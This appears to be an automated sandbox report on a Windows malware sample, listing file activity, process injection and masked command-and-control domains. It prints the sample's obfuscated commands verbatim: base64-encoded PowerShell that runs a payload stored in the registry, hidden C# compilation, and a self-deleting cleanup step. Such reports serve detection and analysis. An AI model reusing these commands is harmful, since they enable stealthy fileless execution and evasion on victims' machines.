Technical Information
Malicious functions
Creates and executes the following
- '' (downloaded from the Internet)
Creates and executes the following (exploit)
- '%HOMEPATH%\ppdfmcsl.exe'
Injects code into
the following system processes:
- %WINDIR%\explorer.exe
- <SYSTEM32>\cmd.exe
- <SYSTEM32>\timeout.exe
Modifies file system
Creates the following files
- %HOMEPATH%\ppdfmcsl.exe
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\a4c57c3abe549f01b003587bf8a4c59e_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\df5ea9bd03da62731a6ccbe3ae9f1dc2_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\b3fd2e73f3422ac2629f7a8a10dfb25d_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %TEMP%\f2gmf1dg.dll
- %TEMP%\resa499.tmp
- %TEMP%\csca498.tmp
- %TEMP%\f2gmf1dg.out
- %TEMP%\f2gmf1dg.cmdline
- %TEMP%\f2gmf1dg.0.cs
- %TEMP%\houpbg30.dll
- %TEMP%\resa351.tmp
- %TEMP%\csca341.tmp
- %TEMP%\houpbg30.out
- %TEMP%\houpbg30.cmdline
- %TEMP%\houpbg30.0.cs
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\cdd82506018b201f861e0395755f933c_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %TEMP%\3cc.bin
Deletes the following files
- %TEMP%\resa351.tmp
- %TEMP%\csca341.tmp
- %TEMP%\houpbg30.0.cs
- %TEMP%\houpbg30.cmdline
- %TEMP%\houpbg30.pdb
- %TEMP%\houpbg30.out
- %TEMP%\houpbg30.dll
- %TEMP%\resa499.tmp
- %TEMP%\csca498.tmp
- %TEMP%\f2gmf1dg.cmdline
- %TEMP%\f2gmf1dg.out
- %TEMP%\f2gmf1dg.0.cs
- %TEMP%\f2gmf1dg.pdb
- %TEMP%\f2gmf1dg.dll
- %HOMEPATH%\ppdfmcsl.exe
- %TEMP%\3cc.bin
Network activity
Connects to
- 'to###ey.info':80
- 'vt###fox.cyou':443
- 'ho###ad.cyou':443
- 'cu###yip.net':80
TCP
- 'vt###fox.cyou':443
- 'ho###ad.cyou':443
UDP
- DNS ASK to###ey.info
- DNS ASK vt###fox.cyou
- DNS ASK ho###ad.cyou
- DNS ASK cu###yip.net
Miscellaneous
Searches for the following windows
- ClassName: 'Static' WindowName: ''
- ClassName: 'MS_AutodialMonitor' WindowName: ''
- ClassName: 'MS_WebCheckMonitor' WindowName: ''
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c start /min forfiles /c "cmd /k @path -ec aQBlAHgAIAAoAGcAcAAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwAQwBvAGQAZQBsAGkAcwB0ACcAKQAuAEkA & exit" /p <SYSTEM32> /s /m po*l.e*e' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\houpbg30.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESA351.tmp" "%TEMP%\CSCA341.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\f2gmf1dg.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESA499.tmp" "%TEMP%\CSCA498.tmp"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C timeout /t 5 && del "%HOMEPATH%\PPDFMCSL.EXE"' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c start /min forfiles /c "cmd /k @path -ec aQBlAHgAIAAoAGcAcAAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwAQwBvAGQAZQBsAGkAcwB0ACcAKQAuAEkA & exit" /p <SYSTEM32> /s /m po*l.e*e
- '<SYSTEM32>\forfiles.exe' /c "cmd /k @path -ec aQBlAHgAIAAoAGcAcAAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwAQwBvAGQAZQBsAGkAcwB0ACcAKQAuAEkA & exit" /p <SYSTEM32> /s /m po*l.e*e
- '<SYSTEM32>\cmd.exe' "<SYSTEM32>\WindowsPowerShell\v1.0\powershell.exe" -ec aQBlAHgAIAAoAGcAcAAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwAQwBvAGQAZQBsAGkAcwB0ACcAKQAuAEkA & exit
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ec aQBlAHgAIAAoAGcAcAAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwAQwBvAGQAZQBsAGkAcwB0ACcAKQAuAEkA
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -E JwBwAGEAcgBhAG0AKAAkAHgAYgBtAGgAaQBwAGsAcQBkAGcAcAApADsAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAeABiAG0AaABpAHAAawBxAGQAZwBwACkAJwA=
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -E JwBwAGEAcgBhAG0AKAAkAGMAdQBtAGYAbgApADsAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGMAdQBtAGYAbgApACcA
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\houpbg30.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESA351.tmp" "%TEMP%\CSCA341.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\f2gmf1dg.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESA499.tmp" "%TEMP%\CSCA498.tmp"
- '<SYSTEM32>\cmd.exe' /C timeout /t 5 && del "%HOMEPATH%\PPDFMCSL.EXE"
- '<SYSTEM32>\timeout.exe' /t 5
